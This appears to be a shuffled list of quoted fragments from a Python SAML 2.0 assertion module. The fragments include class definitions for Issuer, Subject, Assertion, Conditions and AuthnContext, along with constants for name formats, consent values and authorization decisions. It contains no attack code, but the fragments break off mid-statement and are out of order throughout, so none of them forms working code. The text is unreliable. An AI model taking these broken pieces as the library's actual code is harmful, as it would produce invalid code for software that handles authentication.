"NAMEID_FORMAT_UNSPECIFIED), ) # a profile outlines a set of rules", "Issuer(NameIDType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Issuer element \"\"\" c_tag = 'Issuer' c_namespace =", "been obtained CONSENT_UNAVAILABLE = \"urn:oasis:names:tc:SAML:2.0:consent:unavailable\" # no consent is needed.", "contents of the XML tree. for child in tree: self._convert_element_tree_to_member(child)", "text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.key_info = key_info or [] def key_info_confirmation_data_type__from_string(xml_string):", "cast failed _wrong_type_value(xsd=xsd_type, value=value) if type(value) is not valid_type: _wrong_type_value(xsd=xsd_type,", "NAME_FORMAT_UNSPECIFIED as NameFormat def harvest_element_tree(self, tree): tree.attrib.setdefault('NameFormat', NAME_FORMAT_UNSPECIFIED) SamlBase.harvest_element_tree(self, tree)", "signing its content. SCM_SENDER_VOUCHES = \"urn:oasis:names:tc:SAML:2.0:cm:sender-vouches\" # a bearer token", "Exception(\"Cannot be used more than once\") if self.proxy_restriction: if len(self.proxy_restriction)", "attribute_statement_from_string(xml_string): return saml2.create_class_from_xml_string(AttributeStatement, xml_string) class Subject(SubjectType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Subject element \"\"\"", "1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedID'] = ( 'encrypted_id', EncryptedID) c_cardinality['encrypted_id'] = {\"min\": 0,", "= session_not_on_or_after def authn_statement_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnStatementType_, xml_string) class AttributeStatementType_(StatementAbstractType_): \"\"\"The", "'anyType': { 'type': type(value), 'to_type': lambda x: x, 'to_text': lambda", "def key_info_confirmation_data_type__from_string(xml_string): return saml2.create_class_from_xml_string(KeyInfoConfirmationDataType_, xml_string) class ConditionAbstractType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ConditionAbstractType element", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def assertion_id_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionIDRef,", "xml_string) class AuthnContextClassRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef element \"\"\" c_tag = 'AuthnContextClassRef'", "evidence_type__from_string(xml_string): return saml2.create_class_from_xml_string(EvidenceType_, xml_string) class Evidence(EvidenceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Evidence element \"\"\"", "Issuer.c_tag: issuer_from_string, AssertionIDRef.c_tag: assertion_id_ref_from_string, AssertionURIRef.c_tag: assertion_uri_ref_from_string, Assertion.c_tag: assertion_from_string, AssertionType_.c_tag: assertion_type__from_string,", "('NAME_FORMAT_BASIC', NAME_FORMAT_BASIC), ('NAME_FORMAT_URI', NAME_FORMAT_URI), ('NAME_FORMAT_UNSPECIFIED', NAME_FORMAT_UNSPECIFIED), ) # the SAML", "extension_attributes=extension_attributes) self.issuer = issuer self.signature = signature self.subject = subject", "= { BaseID.c_tag: base_id_from_string, NameID.c_tag: name_id_from_string, NameIDType_.c_tag: name_id_type__from_string, EncryptedElementType_.c_tag: encrypted_element_type__from_string,", "c_children = ActionType_.c_children.copy() c_attributes = ActionType_.c_attributes.copy() c_child_order = ActionType_.c_child_order[:] c_cardinality", "'SubjectLocalityType': SubjectLocalityType_, 'AuthnContext': AuthnContext, 'AuthnContextType': AuthnContextType_, 'AuthnContextClassRef': AuthnContextClassRef, 'AuthnContextDeclRef': AuthnContextDeclRef,", "= {\"min\": 0} c_attributes['Name'] = ('name', 'string', True) c_attributes['NameFormat'] =", "SamlBase.c_cardinality.copy() def decision_type__from_string(xml_string): return saml2.create_class_from_xml_string(DecisionType_, xml_string) class ActionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ActionType", "try: self.extension_attributes['xmlns:xs'] = XS_NAMESPACE except AttributeError: self._extatt['xmlns:xs'] = XS_NAMESPACE if", "the SAML authority's decision can be predetermined by arbitrary context", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDeclRef, xml_string)", "{\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionURIRef'] = ( 'assertion_uri_ref', [AssertionURIRef]) c_cardinality['assertion_uri_ref'] = {\"min\":", "ProxyRestrictionType_, 'Advice': Advice, 'AdviceType': AdviceType_, 'EncryptedAssertion': EncryptedAssertion, 'Statement': Statement, 'AuthnStatement':", "c_cardinality = SamlBase.c_cardinality.copy() class Audience(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Audience element \"\"\" c_tag", "AuthnContextType_.c_attributes.copy() c_child_order = AuthnContextType_.c_child_order[:] c_cardinality = AuthnContextType_.c_cardinality.copy() def authn_context_from_string(xml_string): return", "Issuer) c_children['{http://www.w3.org/2000/09/xmldsig#}Signature'] = ('signature', ds.Signature) c_cardinality['signature'] = {\"min\": 0, \"max\":", "c_tag = 'ActionType' c_namespace = NAMESPACE c_value_type = {'base': 'string'}", "= attribute or [] self.encrypted_attribute = encrypted_attribute or [] def", "AG_IDNameQualifiers = [ ('NameQualifier', 'string', False), ('SPNameQualifier', 'string', False), ]", "str if isinstance(value, six.binary_type): value = value.decode('utf-8') type_to_xsd = {", "element \"\"\" c_tag = 'EvidenceType' c_namespace = NAMESPACE c_children =", "return saml2.create_class_from_xml_string(Assertion, xml_string) class AdviceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AdviceType element \"\"\" c_tag", "= 'AuthnContextDeclRef' c_namespace = NAMESPACE c_value_type = {'base': 'anyURI'} c_children", "key, value) def verify(self): if not self.text and not self.extension_elements:", "encrypted_id=None, subject_confirmation=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.base_id", "xml_string) class SubjectConfirmationDataType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectConfirmationDataType element \"\"\" c_tag = 'SubjectConfirmationDataType'", "StatementAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.action = action or []", "audience_restriction_from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestriction, xml_string) class AuthnContext(AuthnContextType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContext element \"\"\"", "= id self.issue_instant = issue_instant def verify(self): # If no", "= SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def attribute_value_from_string(xml_string):", "\"lax\"} def __init__(self, not_before=None, not_on_or_after=None, recipient=None, in_response_to=None, address=None, text=None, extension_elements=None,", "c_child_order = AdviceType_.c_child_order[:] c_cardinality = AdviceType_.c_cardinality.copy() def advice_from_string(xml_string): return saml2.create_class_from_xml_string(Advice,", "value in iter(tree.attrib.items()): self._convert_element_attribute_to_member(attribute, value) # if we have added", "\"\"\" c_tag = 'EncryptedElementType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy()", "SamlBase.c_attributes.copy() c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authenticating_authority_from_string(xml_string): return", "= ( 'authz_decision_statement', [AuthzDecisionStatement]) c_cardinality['authz_decision_statement'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AttributeStatement'] =", "saml2.create_class_from_xml_string(Condition, xml_string) class AudienceRestrictionType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestrictionType element \"\"\" c_tag =", "iter(tree.attrib.items()): self._convert_element_attribute_to_member(attribute, value) # if we have added children to", "= SubjectType_.c_children.copy() c_attributes = SubjectType_.c_attributes.copy() c_child_order = SubjectType_.c_child_order[:] c_cardinality =", "verify(self): if not self.text and not self.extension_elements: if not self.extension_attributes:", "itself # by third parties. # http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0.pdf # the 3rd", "identifier, Transient identifier.\" \"\"\" c_tag = 'NameID' c_namespace = NAMESPACE", "'authn_context_decl_ref', 'authenticating_authority']) def __init__(self, authn_context_class_ref=None, authn_context_decl=None, authn_context_decl_ref=None, authenticating_authority=None, text=None, extension_elements=None,", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionIDRef'] = ( 'assertion_id_ref', [AssertionIDRef])", "clear_type(self): try: del self.extension_attributes[XSI_TYPE] except KeyError: pass try: del self._extatt[XSI_TYPE]", "= SubjectLocalityType_.c_children.copy() c_attributes = SubjectLocalityType_.c_attributes.copy() c_child_order = SubjectLocalityType_.c_child_order[:] c_cardinality =", "'Advice': Advice, 'AdviceType': AdviceType_, 'EncryptedAssertion': EncryptedAssertion, 'Statement': Statement, 'AuthnStatement': AuthnStatement,", "= {\"min\": 0, \"max\": 1} c_attributes['Resource'] = ('resource', 'anyURI', True)", "new version is here: # https://www.oasis-open.org/committees/download.php/56776/sstc-saml-core-errata-2.0-wd-07.pdf # try: from base64", "audience_from_string(xml_string): return saml2.create_class_from_xml_string(Audience, xml_string) class OneTimeUseType_(ConditionAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:OneTimeUseType element \"\"\"", "ActionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:ActionType element \"\"\" c_tag = 'ActionType' c_namespace =", "subject self.conditions = conditions self.advice = advice self.statement = statement", "the message has been initiated CONSENT_PRIOR = \"urn:oasis:names:tc:SAML:2.0:consent:prior\" # consent", "'EvidenceType': EvidenceType_, 'AttributeStatement': AttributeStatement, 'AttributeStatementType': AttributeStatementType_, 'Attribute': Attribute, 'AttributeType': AttributeType_,", "base64 import encodebytes as b64encode except ImportError: from base64 import", "= 'OneTimeUse' c_namespace = NAMESPACE c_children = OneTimeUseType_.c_children.copy() c_attributes =", "\"\"\" c_tag = 'DecisionType' c_namespace = NAMESPACE c_value_type = {'base':", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Conditions'] = ( 'conditions', Conditions) c_cardinality['conditions'] = {\"min\": 0, \"max\":", "def __init__(self, base_id=None, name_id=None, encrypted_id=None, subject_confirmation=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self,", "lambda x: '', }, } xsd_string = ( 'base64Binary' if", "= {'base': 'string'} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AttributeType element \"\"\" c_tag = 'AttributeType' c_namespace = NAMESPACE", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Evidence element \"\"\" c_tag = 'Evidence' c_namespace = NAMESPACE", "{\"min\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Evidence'] = ( 'evidence', Evidence) c_cardinality['evidence'] = {\"min\":", "[ ('NameQualifier', 'string', False), ('SPNameQualifier', 'string', False), ] ELEMENT_FROM_STRING =", "or [] self.encrypted_attribute = encrypted_attribute or [] def attribute_statement_type__from_string(xml_string): return", "c_children = EvidenceType_.c_children.copy() c_attributes = EvidenceType_.c_attributes.copy() c_child_order = EvidenceType_.c_child_order[:] c_cardinality", "audience_restriction or [] self.one_time_use = one_time_use or [] self.proxy_restriction =", "'encrypted_id', EncryptedID) c_cardinality['encrypted_id'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmation'] =", "format=None, sp_provided_id=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.name_qualifier", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef element \"\"\" c_tag = 'AuthnContextClassRef' c_namespace = NAMESPACE", "c_cardinality = SamlBase.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionIDRef'] = ( 'assertion_id_ref', [AssertionIDRef]) c_cardinality['assertion_id_ref'] =", "= 'http://www.w3.org/2001/XMLSchema-instance' # xml soap namespace NS_SOAP_ENC = \"http://schemas.xmlsoap.org/soap/encoding/\" #", "assertion or [] self.encrypted_assertion = encrypted_assertion or [] def advice_type__from_string(xml_string):", "c_tag = 'AttributeStatement' c_namespace = NAMESPACE c_children = AttributeStatementType_.c_children.copy() c_attributes", "remove/trim/strip whitespace # and expect to not have actual text", "c_attributes = ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Audience']", "SamlBase.verify(self) def authn_context_type__from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextType_, xml_string) class Action(ActionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Action", "saml2.create_class_from_xml_string(EvidenceType_, xml_string) class Evidence(EvidenceType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Evidence element \"\"\" c_tag =", "\"minOccurs\": \"0\", \"maxOccurs\": \"unbounded\"} c_any_attribute = {\"namespace\": \"##other\", \"processContents\": \"lax\"}", "extension_attributes=extension_attributes) self.attribute = attribute or [] self.encrypted_attribute = encrypted_attribute or", "authenticate the request with login credentials AUTHN_PASSWORD = \"urn:oasis:names:tc:SAML:2.0:ac:classes:Password\" #", "= {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContext'] = ( 'authn_context', AuthnContext)", "def assertion_type__from_string(xml_string): return saml2.create_class_from_xml_string(AssertionType_, xml_string) class Assertion(AssertionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Assertion element", "\"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContext element \"\"\" c_tag = 'AuthnContext' c_namespace = NAMESPACE", "'AuthnStatementType': AuthnStatementType_, 'SubjectLocality': SubjectLocality, 'SubjectLocalityType': SubjectLocalityType_, 'AuthnContext': AuthnContext, 'AuthnContextType': AuthnContextType_,", "authn_context_decl self.authn_context_decl_ref = authn_context_decl_ref self.authenticating_authority = authenticating_authority or [] def", "attribute_value_from_string, EncryptedAttribute.c_tag: encrypted_attribute_from_string, } ELEMENT_BY_TAG = { 'BaseID': BaseID, 'NameID':", "c_namespace = NAMESPACE c_children = NameIDType_.c_children.copy() c_attributes = NameIDType_.c_attributes.copy() c_child_order", "return saml2.create_class_from_xml_string(AttributeStatementType_, xml_string) class SubjectType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectType element \"\"\" c_tag", "\"urn:oasis:names:tc:SAML:2.0:consent:current-explicit\" # no consent has been obtained CONSENT_UNAVAILABLE = \"urn:oasis:names:tc:SAML:2.0:consent:unavailable\"", "text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.condition = condition", "c_attributes['Version'] = ('version', 'string', True) c_attributes['ID'] = ('id', 'ID', True)", "True) c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation_data']) def __init__(self, base_id=None, name_id=None, encrypted_id=None,", "return saml2.create_class_from_xml_string(AttributeStatement, xml_string) class Subject(SubjectType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Subject element \"\"\" c_tag", "c_child_order = SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() class SubjectLocalityType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:SubjectLocalityType", "AuthnContextType_.c_child_order[:] c_cardinality = AuthnContextType_.c_cardinality.copy() def authn_context_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContext, xml_string) class", "besides the subject itself # by third parties. # http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0.pdf", "subject_confirmation_type__from_string(xml_string): return saml2.create_class_from_xml_string(SubjectConfirmationType_, xml_string) class AudienceRestriction(AudienceRestrictionType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AudienceRestriction element \"\"\"", "usually about a subject(NameID) # the format determines the category", "'proxy_restriction', [ProxyRestriction]) c_cardinality['proxy_restriction'] = {\"min\": 0} c_attributes['NotBefore'] = ('not_before', 'dateTime',", "evidence_from_string(xml_string): return saml2.create_class_from_xml_string(Evidence, xml_string) class AuthzDecisionStatementType_(StatementAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthzDecisionStatementType element \"\"\"", "or [] def audience_restriction_type__from_string(xml_string): return saml2.create_class_from_xml_string(AudienceRestrictionType_, xml_string) class OneTimeUse(OneTimeUseType_): \"\"\"The", "def authn_context_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContext, xml_string) class Attribute(AttributeType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Attribute element", "how to embed SAML assertions. # https://docs.oasis-open.org/security/saml/v2.0/saml-profiles-2.0-os.pdf # The specification", "def authn_context_decl_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDeclRef, xml_string) class AuthnContextDecl(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDecl element", "AuthnContextClassRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef element \"\"\" c_tag = 'AuthnContextClassRef' c_namespace =", "self.set_text(text) # if we have added a text node #", "def __init__(self, name_qualifier=None, sp_name_qualifier=None, text=None, extension_elements=None, extension_attributes=None): SamlBase.__init__(self, text=text, extension_elements=extension_elements,", "= SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def assertion_id_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AssertionIDRef, xml_string)", "Subject) c_cardinality['subject'] = {\"min\": 0, \"max\": 1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Conditions'] = (", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.address = address self.dns_name = dns_name def subject_locality_type__from_string(xml_string):", "xmldsig as ds from saml2 import xmlenc as xenc #", "_str, }, 'integer': { 'type': int, 'to_type': int, 'to_text': _str,", "text=None, extension_elements=None, extension_attributes=None): ConditionAbstractType_.__init__( self, text=text, extension_elements=extension_elements, extension_attributes=extension_attributes) self.audience =", "c_cardinality = ActionType_.c_cardinality.copy() def action_from_string(xml_string): return saml2.create_class_from_xml_string(Action, xml_string) class AttributeType_(SamlBase):", "saml2.create_class_from_xml_string(AuthnContext, xml_string) class Attribute(AttributeType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:Attribute element \"\"\" c_tag =", "format NAME_FORMAT_BASIC = \"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\" # dicc for avaiable formats NAME_FORMATS_SAML2", "saml2.create_class_from_xml_string(EncryptedAttribute, xml_string) class BaseID(BaseIDAbstractType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:BaseID element \"\"\" c_tag =", "https://wiki.oasis-open.org/security/FrontPage # # saml core specifications to be found at:", "to be found at: # if any question arise please", "c_cardinality = AttributeType_.c_cardinality.copy() def attribute_from_string(xml_string): return saml2.create_class_from_xml_string(Attribute, xml_string) class SubjectConfirmation(SubjectConfirmationType_):", "'': { 'type': type(None), 'to_type': lambda x: None, 'to_text': lambda", "# the format determines the category the subject is in", "= SamlBase.c_cardinality.copy() def audience_from_string(xml_string): return saml2.create_class_from_xml_string(Audience, xml_string) class OneTimeUseType_(ConditionAbstractType_): \"\"\"The", "= StatementAbstractType_.c_attributes.copy() c_child_order = StatementAbstractType_.c_child_order[:] c_cardinality = StatementAbstractType_.c_cardinality.copy() c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Action'] =", "urn:oasis:names:tc:SAML:2.0:assertion:ProxyRestrictionType element \"\"\" c_tag = 'ProxyRestrictionType' c_namespace = NAMESPACE c_children", "attribute_statement_type__from_string, Attribute.c_tag: attribute_from_string, AttributeType_.c_tag: attribute_type__from_string, AttributeValue.c_tag: attribute_value_from_string, EncryptedAttribute.c_tag: encrypted_attribute_from_string, }", "try: del self.extension_attributes[XSI_NIL] except (AttributeError, KeyError): pass try: self.extension_attributes[XSI_TYPE] =", "'string', False) c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string', False) c_attributes['Format'] = ('format',", "= {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAttribute'] = ( 'encrypted_attribute', [EncryptedAttribute]) c_cardinality['encrypted_attribute'] =", "0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnStatement'] = ( 'authn_statement', [AuthnStatement]) c_cardinality['authn_statement'] = {\"min\": 0}", "AuthnStatementType_.c_attributes.copy() c_child_order = AuthnStatementType_.c_child_order[:] c_cardinality = AuthnStatementType_.c_cardinality.copy() def authn_statement_from_string(xml_string): return", "SamlBase.verify(self) def set_type(self, typ): try: del self.extension_attributes[XSI_NIL] except (AttributeError, KeyError):", "saml2.create_class_from_xml_string(AuthnContextDecl, xml_string) class AuthenticatingAuthority(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthenticatingAuthority element \"\"\" c_tag =", "XS_NAMESPACE except AttributeError: self._extatt['xmlns:xs'] = XS_NAMESPACE if typ.startswith('xsd:'): try: self.extension_attributes['xmlns:xsd']", "SamlBase.c_child_order[:] c_cardinality = SamlBase.c_cardinality.copy() def authn_context_decl_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextDeclRef, xml_string) class", "def authenticating_authority_from_string(xml_string): return saml2.create_class_from_xml_string(AuthenticatingAuthority, xml_string) class DecisionType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:DecisionType element", "x ), }, 'anyType': { 'type': type(value), 'to_type': lambda x:", "ConditionAbstractType_.c_children.copy() c_attributes = ConditionAbstractType_.c_attributes.copy() c_child_order = ConditionAbstractType_.c_child_order[:] c_cardinality = ConditionAbstractType_.c_cardinality.copy()", "( 'authn_context_class_ref', AuthnContextClassRef) c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AuthnContextDecl'] = ( 'authn_context_decl', AuthnContextDecl) c_cardinality['authn_context_decl'] =", "# if we have added a text node # or", "subject NAMEID_FORMAT_TRANSIENT = ( \"urn:oasis:names:tc:SAML:2.0:nameid-format:transient\") # subject avaiable in encrypted", "class EncryptedID(EncryptedElementType_): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedID element \"\"\" c_tag = 'EncryptedID' c_namespace", "1)) xsd_type_props = xsd_types_props.get(xsd_type, {}) valid_type = xsd_type_props.get('type', type(None)) to_type", "c_attributes = OneTimeUseType_.c_attributes.copy() c_child_order = OneTimeUseType_.c_child_order[:] c_cardinality = OneTimeUseType_.c_cardinality.copy() def", "= AuthnContextType_.c_cardinality.copy() def authn_context_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContext, xml_string) class Attribute(AttributeType_): \"\"\"The", "1} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}SubjectConfirmation'] = ( 'subject_confirmation', [SubjectConfirmation]) c_cardinality['subject_confirmation'] = {\"min\": 0}", "self.assertion = assertion or [] self.encrypted_assertion = encrypted_assertion or []", "in a number of different formats. SAML's predefined formats include:", "tree.text and self.extension_elements else tree.text ) if text: #print(\"set_text:\", tree.text)", "c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order", "can be issued, besides the subject itself # by third", "('method', 'anyURI', True) c_child_order.extend(['base_id', 'name_id', 'encrypted_id', 'subject_confirmation_data']) def __init__(self, base_id=None,", "'type': int, 'to_type': int, 'to_text': _str, }, 'int': { 'type':", "'AuthzDecisionStatementType' c_namespace = NAMESPACE c_children = StatementAbstractType_.c_children.copy() c_attributes = StatementAbstractType_.c_attributes.copy()", "= EncryptedElementType_.c_child_order[:] c_cardinality = EncryptedElementType_.c_cardinality.copy() def encrypted_assertion_from_string(xml_string): return saml2.create_class_from_xml_string(EncryptedAssertion, xml_string)", "urn:oasis:names:tc:SAML:2.0:assertion:Issuer element \"\"\" c_tag = 'Issuer' c_namespace = NAMESPACE c_children", "# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AG_IDNameQualifiers = [ ('NameQualifier', 'string', False), ('SPNameQualifier', 'string',", "def clear_type(self): try: del self.extension_attributes[XSI_TYPE] except KeyError: pass try: del", "element \"\"\" c_tag = 'Audience' c_namespace = NAMESPACE c_value_type =", "('name_qualifier', 'string', False) c_attributes['SPNameQualifier'] = ('sp_name_qualifier', 'string', False) c_attributes['Format'] =", "EvidenceType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EvidenceType element \"\"\" c_tag = 'EvidenceType' c_namespace =", "'Deny', 'Indeterminate']} c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy() c_child_order =", "self.authn_context_decl_ref: raise Exception( \"Invalid Response: \" \"Cannot have both <AuthnContextDecl>", "ProxyRestriction, 'ProxyRestrictionType': ProxyRestrictionType_, 'Advice': Advice, 'AdviceType': AdviceType_, 'EncryptedAssertion': EncryptedAssertion, 'Statement':", "= 'AttributeType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes =", "authn_context_class_ref_from_string(xml_string): return saml2.create_class_from_xml_string(AuthnContextClassRef, xml_string) class AuthnContextDeclRef(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextDeclRef element \"\"\"", "= not_on_or_after self.recipient = recipient self.in_response_to = in_response_to self.address =", "Advice) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AG_IDNameQualifiers = [ ('NameQualifier', 'string', False), ('SPNameQualifier',", "friendly_name # when consuming such elements, default to NAME_FORMAT_UNSPECIFIED as", "if the action is permitted or denied DECISION_TYPE_INDETERMINATE = \"Indeterminate\"", "( 'subject_confirmation_data', SubjectConfirmationData) c_cardinality['subject_confirmation_data'] = {\"min\": 0, \"max\": 1} c_attributes['Method']", "advice=None, statement=None, authn_statement=None, authz_decision_statement=None, attribute_statement=None, version=None, id=None, issue_instant=None, text=None, extension_elements=None,", "xsd_ns else xsd_type if xsd_type else '') SamlBase.__setattr__(self, 'text', text)", "'advice', Advice) Assertion.c_children['{urn:oasis:names:tc:SAML:2.0:assertion}Advice'] = ( 'advice', Advice) # ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ AG_IDNameQualifiers", "obtained CONSENT_OBTAINED = \"urn:oasis:names:tc:SAML:2.0:consent:obtained\" # consent has been obtained before", "False) c_attributes['NotOnOrAfter'] = ('not_on_or_after', 'dateTime', False) c_child_order.extend(['condition', 'audience_restriction', 'one_time_use', 'proxy_restriction'])", "'urn:oasis:names:tc:SAML:2.0:assertion' # xmlschema definition XSD = \"xs\" # xmlschema templates", "a function to turn that type into a text-value xsd_types_props", "= \"urn:oasis:names:tc:SAML:2.0:consent:current-explicit\" # no consent has been obtained CONSENT_UNAVAILABLE =", "self.encrypted_assertion = encrypted_assertion or [] def evidence_type__from_string(xml_string): return saml2.create_class_from_xml_string(EvidenceType_, xml_string)", "the specified action is denied DECISION_TYPE_DENY = \"Deny\" # the", "class EncryptedElementType_(SamlBase): \"\"\"The urn:oasis:names:tc:SAML:2.0:assertion:EncryptedElementType element \"\"\" c_tag = 'EncryptedElementType' c_namespace", "'assertion', 'encrypted_assertion']) def __init__(self, assertion_id_ref=None, assertion_uri_ref=None, assertion=None, encrypted_assertion=None, text=None, extension_elements=None,", "= { _str: 'string', int: 'integer', float: 'float', bool: 'boolean',", "OneTimeUse, 'OneTimeUseType': OneTimeUseType_, 'ProxyRestriction': ProxyRestriction, 'ProxyRestrictionType': ProxyRestrictionType_, 'Advice': Advice, 'AdviceType':", "Exception( \"Invalid Response: \" \"Cannot have both <AuthnContextDecl> and <AuthnContextDeclRef>\"", "c_cardinality = BaseIDAbstractType_.c_cardinality.copy() def base_id_from_string(xml_string): return saml2.create_class_from_xml_string(BaseID, xml_string) class NameID(NameIDType_):", "= NAMESPACE c_children = AssertionType_.c_children.copy() c_attributes = AssertionType_.c_attributes.copy() c_child_order =", "for xmlschemas XSI_TYPE = '{%s}type' % XSI_NAMESPACE # nil type", "0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}EncryptedAssertion'] = ( 'encrypted_assertion', [EncryptedAssertion]) c_cardinality['encrypted_assertion'] = {\"min\": 0}", "c_tag = 'EncryptedAttribute' c_namespace = NAMESPACE c_children = EncryptedElementType_.c_children.copy() c_attributes", "c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionIDRef'] = ( 'assertion_id_ref', [AssertionIDRef]) c_cardinality['assertion_id_ref'] = {\"min\": 0} c_children['{urn:oasis:names:tc:SAML:2.0:assertion}AssertionURIRef']", "\"\"\" c_tag = 'Action' c_namespace = NAMESPACE c_children = ActionType_.c_children.copy()", "cast to correct type before type-checking if type(value) is _str", "'KeyInfoConfirmationDataType' c_namespace = NAMESPACE c_children = SamlBase.c_children.copy() c_attributes = SamlBase.c_attributes.copy()", "if valid_ipv4(self.address) or valid_ipv6(self.address): pass else: raise ShouldValueError(\"Not an IPv4", "'to_text': _str, }, 'long': { 'type': int, 'to_type': int, 'to_text':", "extension_elements=extension_elements, extension_attributes=extension_attributes) self.not_before = not_before self.not_on_or_after = not_on_or_after self.recipient =", "'conditions', 'advice', 'statement', 'authn_statement', 'authz_decision_statement', 'attribute_statement']) def __init__(self, issuer=None, signature=None,", "Evidence.c_tag: evidence_from_string, EvidenceType_.c_tag: evidence_type__from_string, 